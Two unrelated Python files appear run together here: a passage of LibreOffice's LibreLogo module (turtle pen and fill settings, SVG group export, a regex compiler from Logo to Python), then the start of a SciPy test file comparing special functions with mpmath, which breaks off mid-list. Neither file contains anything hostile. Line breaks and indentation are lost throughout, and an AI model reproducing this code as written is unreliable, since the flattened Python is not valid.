border, x_percent, y_percent, color1_intensity_percent, color2_intensity_percent] d, d[0:len(c)], c = [0, 0, __GradientStyle_LINEAR__, 0, 0, 0, 0, 100, 100], c, c[0] shape.FillGradient = __Gradient__(d[2], d[0], d[1], (-angle + d[3]) * 10 % 3600, d[4], d[5], d[6], d[7], d[8], 0) if type(_.t10y) == list: # transparency gradient: [begin_percent, end_percent, style, angle, border, x_percent, y_percent] table = _.doc.createInstance("com.sun.star.drawing.TransparencyGradientTable") if not table.hasByName(str(_.t10y) + str(angle)): t, t[0:len(_.t10y)] = [100, __GradientStyle_LINEAR__, 0, 0, 0, 0, 0], _.t10y table.insertByName(str(_.t10y) + str(angle), __Gradient__(t[2], t[0] * 0xffffff / 100.0, t[1] * 0xffffff / 100.0, (-angle + t[3]) * 10 % 3600, t[4], t[5], t[6], 100, 100, 0)) shape.FillTransparenceGradientName = str(_.t10y) + str(angle) c = 0 if type(c) == tuple else c & 0xffffff else: shape.FillStyle = __FillStyle_GRADIENT__ c = int(_.t10y * 255.0/100) << 24 """Split color constants to RGB (3-byte) + transparency (%)""" return int(c) & 0xffffff, (int(c) >> 24) / (255.0/100) def __componentcolor__(c): a = [ (c & 0xff0000) >> 16, (c & 0xff00) >> 8, c & 0xff ] if c > 2**24: a.append((c & 0xff000000) >> 24) return a def pencolor(n = -1): if n != -1: _.pencolor = __color__(n) turtle = __getshape__(__TURTLE__) if turtle and __visible__(turtle): turtle.LineColor, turtle.LineTransparence = __splitcolor__(_.pencolor) else: return __componentcolor__(_.pencolor) def pensize(n = -1): if n != -1: if n == 'any': _.pensize = random.random() * 10 * __PT_TO_TWIP__ else: _.pensize = n * __PT_TO_TWIP__ turtle = __getshape__(__TURTLE__) if turtle and __visible__(turtle): turtle.LineWidth = min(_.pensize, (1 + _.pen * 2) * __PT_TO_TWIP__) / __MM10_TO_TWIP__ return _.pensize / __PT_TO_TWIP__ def penstyle(n = -1): if n == -1: try: return __locname__(_.linestyle.value) except: return __locname__('DOTTED') if type(n) == list and len(n) >= 5: _.linestyle = n elif re.match(__l12n__(_.lng)['SOLID'], n, flags = re.I): _.linestyle = __LineStyle_SOLID__ elif re.match(__l12n__(_.lng)['DASH'], n, flags = re.I): _.linestyle = __LineStyle_DASHED__ elif re.match(__l12n__(_.lng)['DOTTED'], n, flags = re.I): _.linestyle = __LineStyle_DOTTED__ def penjoint(n = -1): if n == -1: return __locname__(_.linejoint.value) if re.match(__l12n__(_.lng)['NONE'], n, flags = re.I): _.linejoint = __Joint_NONE__ elif re.match(__l12n__(_.lng)['BEVEL'], n, flags = re.I): _.linejoint = __BEVEL__ elif re.match(__l12n__(_.lng)['MITER'], n, flags = re.I): _.linejoint = __MITER__ elif re.match(__l12n__(_.lng)['ROUNDED'], n, flags = re.I): _.linejoint = __ROUNDED__ def pencap(n = -1): if n == -1: return __locname__(_.linecap.value.replace('BUTT', 'NONE')) if re.match(__l12n__(_.lng)['NONE'], n, flags = re.I): _.linecap = __Cap_NONE__ elif re.match(__l12n__(_.lng)['ROUNDED'], n, flags = re.I): _.linecap = __Cap_ROUND__ elif re.match(__l12n__(_.lng)['SQUARE'], n, flags = re.I): _.linecap = __Cap_SQUARE__ def fillcolor(n = -1): if n != -1: _.areacolor = __color__(n) if type(_.areacolor) != tuple: _.t10y = (int(_.areacolor) >> 24) / (255.0/100) else: _.t10y = 0 turtle = __getshape__(__TURTLE__) if turtle and __visible__(turtle): turtle.FillColor, transparence = __splitcolor__(_.areacolor, turtle) turtle.FillTransparence = min(95, transparence) else: return __componentcolor__(_.areacolor) def filltransparency(n = -1): if n != -1: if n == u'any': n = 100 * random.random() if type(n) != list: if type(_.areacolor) != tuple: fillcolor((_.areacolor & 0xffffff) + (int(n * (255.0/100)) << 24)) else: _.t10y = n else: _.t10y = n else: return _.t10y def pentransparency(n = -1): if n != -1: if n == u'any': n = 100 * random.random() pencolor((_.pencolor & 0xffffff) + (int(n * (255.0/100)) << 24)) else: return _.pencolor >> 24 def fontcolor(n = -1): if n != -1: _.textcolor = __color__(n) else: return __componentcolor__(_.textcolor) def position(n = -1): turtle = __getshape__(__TURTLE__) if turtle: if n != -1: if n == 'any': ps = pagesize() heading([random.random() * ps[0], random.random() * ps[1]], True) else: heading(n, True) else: pos = turtle.getPosition() pos.X, pos.Y = pos.X + turtle.BoundRect.Width / 2.0, pos.Y + turtle.BoundRect.Height / 2.0 return [ pos.X * __MM10_TO_TWIP__ / __PT_TO_TWIP__, pos.Y * __MM10_TO_TWIP__ / __PT_TO_TWIP__ ] def __groupstart__(name = ""): global __group__, __grouplefthang__, __groupstack__ __removeshape__(__ACTUAL__) __groupstack__.append(__group__) if name != "": # store pic name (for correct repcount) __groupstack__.append(name) if ".SVG" == name[-4:].upper(): _.time = 0 _.shapecount = itertools.count() __groupstack__.append(__grouplefthang__) __group__ = uno.getComponentContext().ServiceManager.createInstance('com.sun.star.drawing.ShapeCollection') __grouplefthang__ = 0 def create_svg_animation(m): global _ id = int(m.group(1)) if id - 3 in _.shapecache: t = _.shapecache[id-3] opacity = "100" if t == "0" else "0" name = "" if id != 3 else "id=\"first\"" start = "%sms;last.end+%sms" % (t, t) if id == 3 else "first.end+%dms" % (int(t) - int(_.shapecache[0])) return '<g id="id%s" opacity="0"><animate %s attributeName="opacity" from="100" to="100" begin="%s" dur="1ms" fill="freeze"/><animate attributeName="opacity" from="100" to="%s" begin="last.end" dur="1ms" fill="freeze"/>' % (m.group(1), name, start, opacity) return m.group() def create_valid_svg_file(filename): with open(filename, "r") as f: s = f.read() s = re.sub('(?s)(<g\\sid="[^"]*)\(([^"]*)\)', '\\1\\2', s) # bad "(", ")" in xml:id s = re.sub('(?s)<g\\sooo:[^>]*>', '', s) # remove non standard attributes s = re.sub('(?s)<defs class="EmbeddedBulletChars">.*(?=<defs class="TextEmbeddedBitmaps")', '', s) # remove unused parts s = re.sub('(?s)(<path stroke-width="[^"]*"[^<]*)stroke-width="[^"]*"', '\\1', s) # double stroke-width s = re.sub('(?s)<svg\\s+version="1.2"', '<svg version="1.1"', s) # for W3C Validator if _.time > 0: s = re.sub('<g id="id([0-9]+)">', create_svg_animation, s) m = re.match('(?s)(.*<animate[^>]*first[.]end.([0-9]+)[^>]* dur=")1ms"', s) lasttime = _.time - int(m.group(2)) - int(_.shapecache[0]) + 1 if lasttime > 1: s = re.sub('(?s)(.*<animate[^>]*first[.]end.([0-9]+)[^>]* dur=")1ms"', m.group(1) + str(lasttime) + 'ms" id="last"', s) with open(filename, 'w') as f: f.write(s) def __groupend__(name = ""): global __group__, __grouplefthang__, __groupstack__, __halt__ g = 0 if __group__.getCount() > 1: if __grouplefthang__ < 0: for i in range(__group__.Count): s = __group__.getByIndex(i) p = s.getPosition() p.X = p.X + -__grouplefthang__ s.setPosition(p) g = _.drawpage.group(__group__) p = g.getPosition() p.X = p.X + __grouplefthang__ g.setPosition(p) else: g = _.drawpage.group(__group__) g.TextWrap = __THROUGHT__ elif __group__.getCount() == 1: g = __group__.getByIndex(0) __grouplefthang__ = min(__groupstack__.pop(), __grouplefthang__) if name != "": name = __groupstack__.pop() if name and ".SVG" == name[-4:].upper() and g: _.doc.CurrentController.select(g) __dispatcher__(".uno:Copy") ctx = XSCRIPTCONTEXT.getComponentContext() d = ctx.ServiceManager.createInstanceWithContext("com.sun.star.frame.Desktop", ctx) draw = d.loadComponentFromURL("private:factory/sdraw", "_blank", 0, ()) drawpage = draw.getDrawPages().getByIndex(0) while XSCRIPTCONTEXT.getDocument() != draw: if XSCRIPTCONTEXT.getDocument() not in [draw, _.doc, None]: __halt__ = True return __time__.sleep(0.1) __dispatcher__(".uno:Paste", (), draw) __dispatcher__(".uno:FormatGroup", (), draw) pic = drawpage.getByIndex(0) pic.setPosition(__Point__((g.BoundRect.Width - g.Size.Width)//2, (g.BoundRect.Height - g.Size.Height)//2)) drawpage.Height, drawpage.Width = g.BoundRect.Height, g.BoundRect.Width if not os.path.isabs(name): name = os.getcwd() + os.path.sep + name __dispatcher__(".uno:ExportTo", (__getprop__("URL", unohelper.systemPathToFileUrl(name)), __getprop__("FilterName", "draw_svg_Export")), draw) draw.close(True) while XSCRIPTCONTEXT.getDocument() != _.doc: if XSCRIPTCONTEXT.getDocument() not in [draw, _.doc, None]: __halt__ = True return __time__.sleep(0.1) create_valid_svg_file(name) __group__ = __groupstack__.pop() if __group__ and g: __group__.add(g) __removeshape__(__ACTUAL__) def __int__(x): # handle eg. int("10cm") if type(x) == str or type(x) == unicode: x = __float__(x) return int(x) def __float__(x): # handle eg. float("10,5cm") if type(x) == str or type(x) == unicode: for i in __comp__[_.lng]: x = re.sub(u"(?iu)" + i[0], i[1], x) x = eval(x) return float(x) def fontheight(n = -1): if n != -1: _.fontheight = n else: return _.fontheight def fontweight(n = -1): if n != -1: _.fontweight = n else: return _.fontweight def fontfamily(s = -1): if s != -1: _.fontfamily = s else: return _.fontfamily def fontstyle(n = -1): if n != -1: _.fontstyle = n else: return _.fontstyle def __loadlang__(lang, a): global comp, __colors__ __colors__[lang] = {} for i in __COLORS__: for j in a[i[0]].split("|"): __colors__[lang][j.lower()] = i[1] for i in a: if not i[0:3] in ["LIB", "ERR", "PT", "INC", "MM", "CM", "HOU", "DEG"] and not i in __STRCONST__: # uppercase native commands a[i] = a[i].upper() repcount = a['REPCOUNT'].split('|')[0] loopi = itertools.count() loop = lambda r: "%(i)s = 1\n%(orig)s%(j)s = %(i)s\n%(i)s += 1\n" % \ { "i": repcount + str(next(loopi)), "j": repcount, "orig": re.sub( r"(?ui)(?<!:)\b%s\b" % repcount, repcount + str(next(loopi)-1), r.group(0)) } __comp__[lang] = [ [r"(?i)(?<!:)(\b|(?=[-:]))(?:%s)\b" % "|".join([a[i].lower() for i in a if not "_" in i and i != "DECIMAL"]), lambda s: s.group().upper()], # uppercase all native commands in the source code [r"(?<!:)\b(?:%s) \[(?= |\n)" % a['GROUP'], "\n__groupstart__()\nfor __groupindex__ in range(2):\n[\nif __groupindex__ == 1:\n[\n__groupend__()\nbreak\n]\n"], [r"(?<!:)\b(?:%s) (%s[^[]*)\[(?= |\n)" % (a['GROUP'], __DECODE_STRING_REGEX__), "\n__groupstart__(\\1)\nfor __groupindex__ in range(2):\n[\nif __groupindex__ == 1:\n[\n__groupend__(\\1)\nbreak\n]\n"], [r"(?<!:)\b(?:%s)\b" % a['GROUP'], "\n__removeshape__(__ACTUAL__)\n"], [r"(\n| )][ \n]*\[(\n| )", "\n]\nelse:\n[\n"], # if/else block [r"(?<!\n)\[(?= |\n)", ":\n[\n"], # start block [r"( ]|\n]$)", "\n]\n"], # finish block [r"(?<!:)\b(?:%s)\b" % a['FOR'], "\nfor"], [r"(?<!:)\b(?:%s)\b" % a['REPEAT'], "\n__repeat__"], [r"(?<!:)\b(?:%s)\b" % a['BREAK'], "\nbreak"], [r"(?<!:)\b(?:%s)\b" % a['CONTINUE'], "\ncontinue"], [r"(?<!:)\b(?:%s)\b" % a['REPCOUNT'], repcount], [r"(?<!:)\b(?:%s)\b" % a['IF'], "\nif"], [r"(?<!:)\b(?:%s)\b" % a['WHILE'], "\nwhile"], [r"(?<!:)\b(?:%s)\b" % a['OUTPUT'], "\nreturn"], [r"\n(if|while|return) [^\n]*", lambda r: re.sub("(?<![=!<>])=(?!=)", "==", r.group(0))], # = -> ==, XXX x = y = 1? [r"(?<=\n)(for\b :?\w+) ([^\n]+)(?<=\w|]|}|\))(?=-|:)(?:%s)\b" % a['IN'], "\\1 in \\2"], # "for x y-in" -> "for x in y" [r"(:?\b\w+|[[][^[\n]*])\b(?:%s)\b" % a['IN'], "in \\1"], # "x y-in" -> "x in y" [r"(?<!:)\b(?:%s)\b" % a['IN'], "in"], [r"(?<!:)\b(?:%s)\b[ \t]+(:?\w+)\b(?! in\b)" % a['FOR'], "\nfor \\1 in"], [r"(?<=\n)__repeat__ :\n", "while True:\n"], # infinite loop [r"(?<=\n)(for|while) (?!__groupindex__)[^\n]*:\n\[\n", loop], # loop variables for repcount (not groupindex loop) [r"(?<=\n)__repeat__([^\n]*\w[^\n]*):(?=\n)", "for %s in range(1, 1+int(\\1)):" % repcount], # repeat block [r"(?<=\d)[%s](?=\d)" % a['DECIMAL'], "."], # decimal sign [r"(?<!/)/(?!/)", "*1.0/"], # fix division: /1 -> /1.0, but not with // [r"\b([0-9]+([,.][0-9]+)?)(%s)\b" % a['HOUR'], lambda r: str(float(r.group(1).replace(",", "."))*30)], # 12h = 12*30° [r"(?<=\d)(%s)" % a['DEG'], ""], # 1° -> 1 [r"(?<!:)\b(?:__def__)[ \t]+(\w+)\b[ \t]*([:]?\w[^\n]*)", "\ndef \\1(\\2):\n["], [r"(?<!:)\b(?:__def__)\s+(\w+)", "\ndef \\1():\n["], [r"(?<!:)\b(?:%s)\b" % a['END'], "\n]"], [r"(?<!:)\b(?:%s)\b" % a['GLOBAL'], "global"], [r"(?<!:)\b(?:%s)\b" % a['TRUE'], "True"], [r"(?<!:)\b(?:%s)\b" % a['FALSE'], "False"], [r"(?<!:)\b(?:%s)\b" % a['NOT'], "not"], [r"(?<!:)\b(?:%s)\b" % a['AND'], "and"], [r"(?<!:)\b(?:%s)\b" % a['OR'], "or"], [r"(?<!:)\b(?:%s)\b" % a['INT'], "__int__"], [r"(?<!:)\b(?:%s)\b" % a['FLOAT'], "__float__"], [r"(?<!:)\b(?:%s)\b" % a['STR'], "__string__"], [r"(?<!:)\b(?:%s)\b" % a['COUNT'], "len"], [r"(?<!:)\b(?:%s)\b" % a['ROUND'], "round"], [r"(?<!:)\b(?:%s)\b" % a['ABS'], "abs"], [r"(?<!:)\b(?:%s)\b" % a['SIN'], "sin"], [r"(?<!:)\b(?:%s)\b" % a['COS'], "cos"], [r"(?<!:)\b(?:%s)\b" % a['PI'], "pi"], [r"(?<!:)\b(?:%s)\b" % a['SQRT'], "sqrt"], [r"(?<!:)\b(?:%s)\b" % a['LOG10'], "log10"], [r"(?<!:)\b(?:%s)\b" % a['MIN'], "min"], [r"(?<!:)\b(?:%s)\b" % a['MAX'], "max"], [r"(?<!:)\b(?:%s)\b" % a['STOP'], "\nreturn None"], [r"(?<!:)\b(?:%s)\b" % a['CLEARSCREEN'], "\n__cs__()"], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENCOLOR'], "\n)pencolor("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENSTYLE'], "\n)penstyle("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENJOINT'], "\n)penjoint("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENCAP'], "\n)pencap("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FILLCOLOR'], "\n)fillcolor("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FILLTRANSPARENCY'], "\n)filltransparency("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENTRANSPARENCY'], "\n)pentransparency("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FILLSTYLE'], "\n)fillstyle("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FONTCOLOR'], "\n)fontcolor("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FONTFAMILY'], "\n)fontfamily("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FONTHEIGHT'], "\n)fontheight("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FONTWEIGHT'], "\n)fontweight("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['FONTSTYLE'], "\n)fontstyle("], [r"(?<!:)\b(?:%s)(\s+|$)" % a['PENWIDTH'], "\n)pensize("], [r"(?<!:)\b(?:%s)\b" % a['PENDOWN'], "\n__pen__(1)"], [r"(?<!:)\b(?:%s)\b" % a['PENUP'], "\n__pen__(0)"], [r"(?<!:)\b(?:%s)\b" % a['HIDETURTLE'], "\nhideturtle()"], [r"(?<!:)\b(?:%s)\b" % a['SHOWTURTLE'], "\nshowturtle()"], [r"(?<!:)\b(?:%s)\b\[" % a['POSITION'], "position()["], [r"(?<!:)\b(?:%s)\b(?!\()" % a['POSITION'], "\n)position("], [r"(?<!:)\b(?:%s)\b" % a['HEADING'], "\n)heading("], [r"(?<!:)\b(?:%s)\b" % a['PAGESIZE'], "pagesize()"], [r"(?<!:)\b(?:%s)\b" % a['POINT'], "\npoint()"], [r"(?<!:)\b(?:%s)\b" % (a['ELLIPSE'] + "|" + a['CIRCLE']), "\n)ellipse("], [r"(?<!:)\b(?:%s)\b" % (a['RECTANGLE'] + "|" + a['SQUARE']), "\n)rectangle("], [r"(?<!:)\b(?:%s)\b" % a['CLOSE'], "\n__fillit__(False)"], [r"(?<!:)\b(?:%s)\b" % a['FILL'], "\n__fillit__()"], [r"(?<!:)\b(?:%s)\b" % a['LABEL'], "\n)label("], [r"(?<!:)\b(?:%s)\b" % a['TEXT'], "\n)text(__getshape__(__ACTUAL__),"], [r"(text\([ \t]*\"[^\"\n\)]*)", "\\1\"\n"], [r"(?<!:)\b(?:%s)\b" % a['HOME'], "\nturtlehome()"], [r"(?<!:)\b(?:%s)\b" % a['SLEEP'], "\n)sleep("], [r"(?<!:)\b(?:%s)\b" % a['FORWARD'], "\n)forward("], [r"(?<!:)\b(?:%s)\b" % a['BACKWARD'], "\n)backward("], [r"(?<!:)\b(?:%s)\b" % a['TURNRIGHT'], "\n)turnright("], [r"(?<!:)\b(?:%s)\b" % a['RANDOM'], "Random"], [r"(?<!:)\b(?:%s)\b(?= \d)" % 'Random', "random.random()*"], [r"(?<!:)\b(?:%s)\b" % a['SET'], "set"], [r"(?<!:)\b(?:%s)\b" % a['RANGE'], "range"], [r"(?<!:)\b(?:%s)\b" % a['LIST'], "list"], [r"(?<!:)\b(?:%s)\b" % a['TUPLE'], "tuple"], [r"(?<!:)\b(?:%s)\b" % a['SORTED'], "sorted"], [r"(?<!:)\b(?:%s)\b ?\(" % a['RESEARCH'], "re.search('(?u)'+"], [r"(?<!:)\b(?:%s)\b ?\(" % a['RESUB'], "re.sub('(?u)'+"], [r"(?<!:)\b(?:%s)\b ?\(" % a['REFINDALL'], "re.findall('(?u)'+"], [r"(?<!:)\b(?:%s)\b" % a['ANY'], "u'any'"], [r"(?<!:)\b(?:%s) (\w+|[[][^\]]*])\b" % a['INPUT'], " Input(\\1)"], [r"(?<!:)\b(?:%s)\b" % a['PRINT'], "\n)Print("], [r"(?<!:)\b(?:%s)\b" % a['TURNLEFT'], "\n)turnleft("], [r"\b([0-9]+([,.][0-9]+)?)(%s)\b" % a['PT'], "\\1"], [r"\b([0-9]+([,.][0-9]+)?)(%s)(?!\w)" % a['INCH'], lambda r: str(float(r.group(1).replace(",", "."))*72)], [r"\b([0-9]+([,.][0-9]+)?)(%s)\b" % a['MM'], lambda r: str(float(r.group(1).replace(",", "."))*__MM_TO_PT__)], [r"\b([0-9]+([,.][0-9]+)?)(%s)\b" % a['CM'], lambda r: str(float(r.group(1).replace(",", "."))*__MM_TO_PT__*10)], [r"\b(__(?:int|float|string)__len|round|abs|sin|cos|sqrt|log10|set|list|tuple|sorted)\b ((?:\w|\d+([,.]\d+)?|0[xX][0-9a-fA-F]+|[-+*/]| )+)\)" , "\\1(\\2))" ], # fix parsing: (1 + sqrt x) -> (1 + sqrt(x)) [r"(?<=[-*/=+,]) ?\n\)(\w+)\(", "\\1()"], # read attributes, eg. x = fillcolor [r"(?<=return) ?\n\)(\w+)\(", "\\1()"], # return + user function [r"(?<=(?:Print|label)\() ?\n\)(\w+)\(", "\\1()\n"] # Print/label + user function ] def __concatenation__(r): # keep line positions with extra line breaks s = re.subn("~[ \t]*\n", " ", r.group(0)) return s[0] + "\n" * s[1] def __compil__(s): global _, comp, __strings__, __compiled__ try: c = _.doc.CurrentController.getViewCursor() locs = [i for i in [c.CharLocale, c.CharLocaleAsian, c.CharLocaleComplex] if i.Language != 'zxx'] # not None language loc = Locale(__uilocale__.split('-')[0], __uilocale__.split('-')[1], '') if locs and loc not in locs: loc = locs[0] try: _.lng = loc.Language + '_' + loc.Country __loadlang__(_.lng, __l12n__(_.lng)) except: __trace__() _.lng = loc.Language __loadlang__(_.lng, __l12n__(_.lng)) except: __trace__() _.lng = 'en_US' if not _.lng in __comp__: __loadlang__(_.lng, __l12n__(_.lng)) _.decimal = __l12n__(_.lng)['DECIMAL'] names = {} rmsp = re.compile(r"[ ]*([=+*/]|==|<=|>=|<>|!=|-[ ]+)[ ]*") chsp = re.compile(r"[ \t]+") chch = re.compile(r"(?u)(?<!\w):(?=\w)") parenfix = re.compile(r"(?ui)(\([^\(\[\]\)]+)]\)") # remove CR characters and split lines s = re.sub(r'[ \t\r]*(?=\n)', '', s) # remove full line comments s = re.sub(r"^[ \t]*[;#][^\n]*", "", s) s = re.sub(r"(?<=\n)[ \t]*[;#][^\n]*", "", s) # concatenate lines __compiled__ = re.sub(r'([^\n]*~[ \t]*\n)+[^\n]*', __concatenation__, s) # sign original line breaks s = re.sub("(?<=\n)", __LINEBREAK__ + "\n", __compiled__) # encode strings lq = '\'' + __l12n__(_.lng)['LEFTSTRING'].replace("|", "") rq = '\'' + __l12n__(_.lng)['RIGHTSTRING'].replace("|", "") __strings__ = [] s = re.sub("(?u)([%s])([^\n%s]*)(?<!\\\\)[%s]" % (lq, rq, rq), __encodestring__, s) s = re.sub('(?u)(?<![0-9])(")(~?\w*)', __encodestring__, s) # remove extra spaces s = chsp.sub(" ", s) # remove inline comments s = re.sub(r"[ ]*;[^\n]*", "", s) # n-dash and m-dash as minus signs s = re.sub(r"(?u)[–—]", "-", s) # replace procedure names s = re.sub(r"(?i)^[ ]*(%s)[ ]+" % __l12n__(_.lng)['TO'], "__def__ ", s) s = re.sub(r"(?i)\n[ ]*(%s)[ ]+" % __l12n__(_.lng)['TO'], "\n__def__ ", s) subnames = re.findall(u"(?iu)(?<=__def__ )\w+", s) globs = "" functions = ["range", "__int__", "__float__", "Random", "Input", "__string__", "len", "round", "abs", "sin", "cos", "sqrt", "log10", "set", "list", "tuple", "re.sub", "re.search", "re.findall", "sorted", "min", "max"] if len(subnames) > 0: globs = "global %s" % ", ".join(subnames) # search user functions (function calls with two or more arguments need explicite Python parentheses) ends = __l12n__(_.lng)["END"] # support multiple names of "END" firstend = ends.split("|")[0] s = re.sub(r"(?<!:)\b(?:%s)\b" % ends, firstend, s) __l12n__(_.lng)["END"] = firstend functions += [ re.findall("(?u)\w+",i[0])[0] for i in re.findall(r"""(?iu)(?<=__def__ )([^\n]*)\n # beginning of a procedure (?:[^\n]*(?<!\b(%(END)s))\n)* # 0 or more lines (not END) [^\n]*\b(?:%(OUTPUT)s)\b[^\n]*\n # line with OUTPUT (functions = procedures with OUTPUT) (?:[^\n]*(?<!\b(?:%(END)s))\n)* # 0 or more lines (not END) [ \t]*\b(?:%(END)s)\b""" % __l12n__(_.lng), s, re.X) ] __l12n__(_.lng)["END"] = ends # add line breaks before procedure calls procedures = set(subnames) - set(functions) if len(procedures) > 0: s = re.sub(r"(?<!__def__)(?<![-+=*/])(?<!%s)(?:^|[ \t]+)(" % ")(?<!".join(functions) + "|".join(procedures) + ")(?!\w)", r"\n\1", s) # compile native Logo for i in __comp__[_.lng]: s = re.sub(u"(?u)" + i[0], i[1], s) indent = 0 result = "" func = re.compile("(?iu)(def (\w+))(\(.*\):)") expr = r"""(?iu)(?<!def[ ])(?<![:\w])%(name)s(?!\w)(?!\()(?![ ]\() ( ([ ]+\[*([-+]|\([ ]?)*((%(functions)s)\b[ ]*\(*)* (?:0x[0-9a-f]+|[0-9]+([,.][0-9]+)?|:?\w+(?:[.]\w+[\(]?[\)]?)?]*|\[])]*[\)]* ( (?:[ ]*([+*/,<>]|//|==|<=|>=|<>|!=)[ ]*|[ ]*-[ ]+|-|[ ]*[*][*][ ]*) # operators, eg. "**", " - ", "-", "- " \[*([-+]|\([ ]?)* # minus sign, parenthesis ((%(functions)s)\b[ ]*\(*)*(0x[0-9a-f]+|[0-9]+([.,][0-9]+)?|:?\w+(?:[.]\w+[\(]?[\)]?)?)]* ([ ]?\))*)* [\)]*){,%(repeat)s} ) """ chargsp = re.compile(r"(?<![\(,])(?<!%s) (?!\)|,)" % ")(?<!".join(functions)) # compile to Python joinfunc = "|".join(functions) funcnames = {} for i in s.split("\n"): i = i.strip() if i[0:4] == 'def ': s = func.search(i) if s.group(3) == '():': names[s.group(2)] = (0, "") else: s2 = len(chsp.findall(s.group(3))) + 1 i = s.group(1) + chsp.sub(", ", s.group(3)) names[s.group(2)] = (s2, re.compile(expr % {"name": s.group(2), "functions": joinfunc, "repeat": s2}, re.X)) for j in functions: if j in i: if not j in funcnames: funcnames[j] = (1, re.compile(expr % {"name": j, "functions": joinfunc, "repeat": 1 + 2 * int(j == 'range')}, re.X)) r = funcnames[j][1].search(i) while r: i = i[:r.start()] + j + '(' + chargsp.sub(", ", rmsp.sub(lambda l: l.group(1).strip(), r.group(1).strip())) + ')' + i[r.end():] i = parenfix.sub("\\1)]", i) r = funcnames[j][1].search(i) for j in names: if j in i: if names[j][0] == 0: if not j in functions: i = re.sub(r"(?iu)(?<!def )(?<![_\w])\b%s\b(?!\w)" %j, j+'()', i) else: r = names[j][1].search(i) if r: i = i[:r.start()] + j + '(' + chargsp.sub(", ", rmsp.sub(lambda l: l.group(1).strip(), r.group(1).strip())) + ')' + i[r.end():] i = parenfix.sub("\\1)]", i) if i[0:1] == '[': i = i[1:] indent += 1 result = result + "\n" + " " * indent + "__checkhalt__()\n" if i[0:1] == ')': i = i[1:] + ')' result = result + "\n" + " " * indent + i if i[0:1] == ']': result = result[:-1] indent -= 1 # colon_to_underline in Logo variables result = chch.sub("_", result) # character encoding result = to_ascii(result).replace(r"\n", "\n") # decode strings result = re.sub(__DECODE_STRING_REGEX__, __decodestring__, result) return to_ascii(globs) + "\n" + result def __gotoline__(n): _.cursor.collapseToStart() for i in range(1, n): _.cursor.gotoNextParagraph(False) try: _.doc.CurrentController.getViewCursor().gotoRange(_.cursor, False) except: __dispatcher__(".uno:Escape") _.doc.CurrentController.getViewCursor().gotoRange(_.cursor.getStart(), False) g_exportedScripts = left, right, goforward, gobackward, run, stop, home, clearscreen, commandline, __translate__ # vim: set noet sw=4 ts=4:
codeparrot/github-code-clean
""" Test Scipy functions versus mpmath, if available. """ from __future__ import division, print_function, absolute_import import numpy as np from numpy.testing import assert_, assert_allclose from numpy import pi import pytest import itertools from distutils.version import LooseVersion import scipy.special as sc from scipy._lib.six import with_metaclass from scipy.special._testutils import ( MissingModule, check_version, FuncData, assert_func_equal) from scipy.special._mptestutils import ( Arg, FixedArg, ComplexArg, IntArg, assert_mpmath_equal, nonfunctional_tooslow, trace_args, time_limited, exception_to_nan, inf_to_nan) from scipy.special._ufuncs import ( _sinpi, _cospi, _lgam1p, _lanczos_sum_expg_scaled, _log1pmx, _igam_fac) try: import mpmath except ImportError: mpmath = MissingModule('mpmath') _is_32bit_platform = np.intp(0).itemsize < 8 # ------------------------------------------------------------------------------ # expi # ------------------------------------------------------------------------------ @check_version(mpmath, '0.10') def test_expi_complex(): dataset = [] for r in np.logspace(-99, 2, 10): for p in np.linspace(0, 2*np.pi, 30): z = r*np.exp(1j*p) dataset.append((z, complex(mpmath.ei(z)))) dataset = np.array(dataset, dtype=np.complex_) FuncData(sc.expi, dataset, 0, 1).check() # ------------------------------------------------------------------------------ # expn # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') def test_expn_large_n(): # Test the transition to the asymptotic regime of n. dataset = [] for n in [50, 51]: for x in np.logspace(0, 4, 200): with mpmath.workdps(100): dataset.append((n, x, float(mpmath.expint(n, x)))) dataset = np.asarray(dataset) FuncData(sc.expn, dataset, (0, 1), 2, rtol=1e-13).check() # ------------------------------------------------------------------------------ # hyp0f1 # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') def test_hyp0f1_gh5764(): # Do a small and somewhat systematic test that runs quickly dataset = [] axis = [-99.5, -9.5, -0.5, 0.5, 9.5, 99.5] for v in axis: for x in axis: for y in axis: z = x + 1j*y # mpmath computes the answer correctly at dps ~ 17 but # fails for 20 < dps < 120 (uses a different method); # set the dps high enough that this isn't an issue with mpmath.workdps(120): res = complex(mpmath.hyp0f1(v, z)) dataset.append((v, z, res)) dataset = np.array(dataset) FuncData(lambda v, z: sc.hyp0f1(v.real, z), dataset, (0, 1), 2, rtol=1e-13).check() @check_version(mpmath, '0.19') def test_hyp0f1_gh_1609(): # this is a regression test for gh-1609 vv = np.linspace(150, 180, 21) af = sc.hyp0f1(vv, 0.5) mf = np.array([mpmath.hyp0f1(v, 0.5) for v in vv]) assert_allclose(af, mf.astype(float), rtol=1e-12) # ------------------------------------------------------------------------------ # hyp2f1 # ------------------------------------------------------------------------------ @check_version(mpmath, '1.0.0') def test_hyp2f1_strange_points(): pts = [ (2, -1, -1, 0.7), # expected: 2.4 (2, -2, -2, 0.7), # expected: 3.87 ] pts += list(itertools.product([2, 1, -0.7, -1000], repeat=4)) pts = [ (a, b, c, x) for a, b, c, x in pts if b == c and round(b) == b and b < 0 and b != -1000 ] kw = dict(eliminate=True) dataset = [p + (float(mpmath.hyp2f1(*p, **kw)),) for p in pts] dataset = np.array(dataset, dtype=np.float_) FuncData(sc.hyp2f1, dataset, (0,1,2,3), 4, rtol=1e-10).check() @check_version(mpmath, '0.13') def test_hyp2f1_real_some_points(): pts = [ (1, 2, 3, 0), (1./3, 2./3, 5./6, 27./32), (1./4, 1./2, 3./4, 80./81), (2,-2, -3, 3), (2, -3, -2, 3), (2, -1.5, -1.5, 3), (1, 2, 3, 0), (0.7235, -1, -5, 0.3), (0.25, 1./3, 2, 0.999), (0.25, 1./3, 2, -1), (2, 3, 5, 0.99), (3./2, -0.5, 3, 0.99), (2, 2.5, -3.25, 0.999), (-8, 18.016500331508873, 